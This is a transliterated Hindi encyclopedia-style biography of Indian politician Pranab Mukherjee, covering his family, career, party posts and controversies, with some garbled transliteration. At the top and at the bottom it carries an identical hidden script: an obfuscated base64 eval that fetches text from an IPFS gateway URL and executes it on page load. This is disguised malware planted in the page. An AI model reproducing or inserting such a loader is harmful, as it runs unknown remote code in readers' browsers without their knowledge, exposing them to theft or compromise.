प्रणब मुखर्जी

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

pranav mukharji / pranav da ka jivan parichay

shri pranav mukharji ka janm, pashchim bangal ke birabhoom jile ke ek chhote se gaanv mirati (mirati) mean 11 disanbar, 1935 mean hua tha. pranav mukharji - kamada kiankar mukharji aur rajalakshmi mukharji ke putr haian.

pranav mukharji ki patni ka nam shubhra mukharji hai. unake do bete aur ek beti hai. unaka ek l daka pashchim bangal vidhanasabha mean kaangres parti ka sadasy hai, pichhali bar hue chunav mean unake bete ne kaangres parti ke pratyashi ke taur par jit hasil ki thi.

itane saloan tak, rajyasabha ke sadasy ke taur par rajaniti karane ke bad, pranav mukharji pahali bar lokasabha ke ummidavar ke taur par kh de hue aur, pashchim bangal mean kaangres pratyashi ki or se sabase adhik 1, 28,252 matoan se jitane vale sadasy rahe.

pranav mukharji ka vyaktitv

pranav mukharji sanjida vyaktitv vale neta haian. parti ke varishthatam neta hone ke karan vah rajaniti ki bhi achchhi samajh rakhate haian. bangali parivar se hone ke karan unhean rabiandr sangit mean atyadhik ruchi hai. pranav mukharji ko pashchim bangal ke any nivasiyoan ki tarah hi maan durga ka upasak bhi mana jata hai aur durga pooja ke dauran ve mata ki upasana bhi karate haian.

unake pitaji, kamada kiankar mukharji kshetr ke ek pramukh svatantrata senani the aur ve 10 varshoan se jyada samay tak british jeloan mean kaid rahe. unake pitaji iandiyan neshanal kaangres (akhil bharatiy kaangres) ke ek sakriy karyakarta the aur desh ki ajadi ke bad 1952 se lekar 1964 tak pashchim bangal vidhan parishad ke sadasy rahe the. ajadi ki l daee mean apani sakriy bhoomika nibhane ke chalate vah lagabhag 10 varshoan tak jel mean bhi rahe the.

parivar ke mahaul ko dekhate hue yah prakritik taur par svabhavik tha ki ve apane pitaji ke. ke. mukharji ke padachinhoan par chalate. tatkalin kalakatta vishvavidyalay se sanbandhit soori vidyasagar k aaulej se snatak ki pariksha pas karane ke bad pranav mukharji ne kalakatta yoonivarsiti se hi itihas (histri) aur rajaniti vijnan (p aaulitikal saians) mean snatakottar (em.e.) ki padhaee sanpann ki. kolakata vishvavidyalay se l aau ki shiksha ke bad pashchim bangal ke birabhoom jile ke ek k aaulej mean prophesar ki naukari shuroo ki. kॅriyar ke shuruati dinoan mean pranav mukharji lanbe samay tak vakalat aur adhyapan kary se ju de rahe. isake bad unhoanne patrakar ke roop mean apane kॅriyar ko age badhaya. yoonivarsiti aauph v aaulvarahaimpatan ne pranav mukharji ko di.lit ki upadhi bhi pradan ki hai.

pranav mukharji ka rajanaitik saphar

pranav mukharji ke pita kamada mukharji ek lokapriy aur sakriy kaangresi neta the. vah varsh 1952 se 1964 tak bangal vidhanasabha ke sadasy rahe the. pita ka rajaniti se sanbandh hone ke karan pranav mukharji ka rajaniti mean agaman sahaj aur svabhavik tha. pranav mukharji ke rajanaitik jivan ki shuruat varsh 1969 mean rajyasabha sadasy ke roop mean huee. tatkalin pradhanamantri, iandira gaandhi ne inaki yogyata se prabhavit hokar matr 35 varsh ki avastha mean, 1969 mean kaangres parti ki or se rajy sabha ka sadasy bana diya. usake bad ve, 1975, 1981, 1993 aur 1999 mean rajyasabha ke lie phir se nirvachit hue.

varsh 1973 mean pranav mukharji ne kaibinet mantri rahate hue audyogik vikas (iandastriyal devalapameant) mantralay mean up-mantri ka padabhar sanbhala. 1982-84 mean jab ve bharat ke vitt mantri the to yooromani maigajin ne unaka moolyaankan vishv ke sabase achchhe vitt mantri ke taur par kiya tha.

indira gaandhi ki hatya ke pashchat, rajiv gaandhi sarakar ki kaibinet mean pranav mukharji ko shamil nahian kiya gaya. is bich pranav mukharji ne apani alag rashtriy samajavadi kaangres ka gathan kiya. lekin jald hi varsh 1989 mean rajiv gaandhi se vivad ka nipatara hone ke bad pranav mukharji ne apani parti ko rashtriy kaangres mean mila diya.

1991 mean chunav prachar ke dauran, tamilanadu ke shri peranbadoor mean tamil atankavadiyoan litte ke dvara atmaghati hamale ke bad rajiv gaandhi ki akasmik mrityu ke bad, narasianh rav ke netritv mean jab kaangres ki sarakar ne keandr mean satta sanbhali to unhean ek bar phir se yojana ayog ka upadhyaksh aur phir keandriy kaibinet mantri banaya gaya. 1995-96 mean narasianh rav ke karyakal ke dauran unhean pahali bar videsh mantralay ka padabhar bhi pradan kiya gaya. varsh 1985 tak pranav mukharji pashchim bangal kaangres samiti ke adhyaksh bhi rahe, lekin kam ka bojh badh jane ke karan unhoanne is pad se tyagapatr de diya tha. pranav mukharji pahali bar varsh 2004 mean jangipur nirvachan sit se lokasabha ka chunav jitane ke bad lokasabha pahuanche. 2004 mean kaangres parti ke dobara se satta mean ane ke bad se ve phir se mantrimandal mean varishth sadasy ke taur par shamil hue.

rajanitik jivan ki shuruat

• sadasy, kaangres varkiang kameti (bharatiy rashtriy kaangres ki sabase uchch sanstha, jo parti ke lie nitiyaan nirdharit karati haian) ke sadasy 27 janavari 1978 se 18 janavari 1986 aur phir 10 agast, 1997 se aj tak.
• 1985 mean pashchim bangal pradesh kaangres kameti ke presideant aur phir, agast 2000 se aj tak.
• akhil bharatiy kaangres kameti ke keandriy samiti ke sadasy 1978 se 1986 tak.
• koshadhyaksh, akhil bharatiy kaangres samiti, 1978-1979
• koshadhyaksh, kaangres (aee) parti in parliyameant 1978-79
• akhil bharatiy kaangres samiti ke arthik salahakar ke cheyaramain- 1987-1989
• 1984, 1991, 1996 aur 1998 mean akhil bharatiy kaangres kamiti (jo sansad ke lie rashtriy star par chunavoan ka sanchalan karati hai,) kaianpen kameti ke cheyaramain.
• 1998 se 1999 tak akhil bharatiy kaangres samiti ke mahasachiv.
• 28 joon, 1999 se akhil bharatiy kaangres samiti ke keandriy chunav samanvay samiti ke cheyaramain.
• pashchim bangal pradesh kaangres samiti ke adhyaksh ke taur par 12 disanbar, 2001 se ab tak akhil bharatiy kaangres samiti ke keandriy chunav samiti ke sadasy.

pranav mukharji ki upalabdhiyaan aur yogadan

• pranav mukharji ko kee pratishthit aur haee prophail mantralay sanbhalane jaisi vishishtata prapt hai. unhoanne raksha mantralay, vitt mantralay, videsh mantralay, shipiang, yatayat, sanchar, vanijy aur udyog, arthik mamale jaise lagabhag sabhi mahatvapoorn mantralayoan mean apani sevaean di haian.
• pranav mukharji eshiyan devalapameant baiank aur aphrikan devalapameant baiank ke aantararashtriy mudra kosh ke gavarnaroan se ek rah chuke haian.
• rajiv gaandhi ki mrityu ke pashchat jab soniya gaandhi ne rajaniti mean ane ka nirnay liya tab pranav mukharji ne unake salahakar aur margadarshak ke roop mean bhi apani sevaean di. kaangres ke lie apani pratibaddhata darshane ke bad hi soniya gaandhi aur pradhanamantri manamohan sianh dvara pranav mukharji ko varsh 2004 mean raksha mantralay sauanpa gaya.
• varsh 2005 mean peteant sanshodhan adhiniyam ke dauran jab yoopie saansadoan ke bhitar manamutav paida ho gaya, jisaki vajah se koee ray nahian ban pa rahi the, aise samay mean pranav mukharji ne apani soojhaboojh aur kushal rananiti ka parichay dekar 23 march, 2005 ko is bil ko pas karava diya.
• manamohan sarakar ke doosare karyakal mean pranav mukharji ko dobara vitt-mantralay ka karyabhar pradan kiya gaya.

pranav mukharji se ju de vivad

• apatakal ke dauran pranav mukharji, indira gaandhi sarakar mean kaibinet mantri rah chuke haian. isi dauran un par kee galat vyaktigat nirnay lene jaise ganbhir arop lage. pranav mukharji ke khilaph pulis kes bhi darj kiya gaya. lekin indira gaandhi ke vapas satta mean ate hi vah kes kharij ho gaya.
• videsh mantri rahate hue, vivadit baangladeshi lekhika taslima nasarin ko ghar mean najaraband rakh suraksha pradan karane ke pranav mukharji ke nirnay par lagabhag sabhi musalaman samudayoan ne apatti uthaee aur pranav mukharji ke khilaph pradarshan kie. parinamasvaroop taslima nasarin ko 2008 mean bharat se bahar jana p da.
• pranav mukharji par yah bhi arop lage ki unhoanne niji baiankoan ko gujarat mean nivesh na karane ki dhamaki di hai kyoanki vahaan bharatiy janata parti ki sarakar hai.
• pranav mukharji ko rajaniti ke alava bagavani aur kitabean padhane ka bhi shauk hai. vah rabiandr sangit ko sunana bhi atyadhik pasand karate haian. pranav mukharji ki tarkik kshamata aur rananitiyaan bahut prabhavi haian. pradhanamantri manamohan sianh bhi arth aur rashtr ke kalyan se ju da koee bhi phaisala lene se pahale pranav mukharji se vichar-vimarsh jaroor karate haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>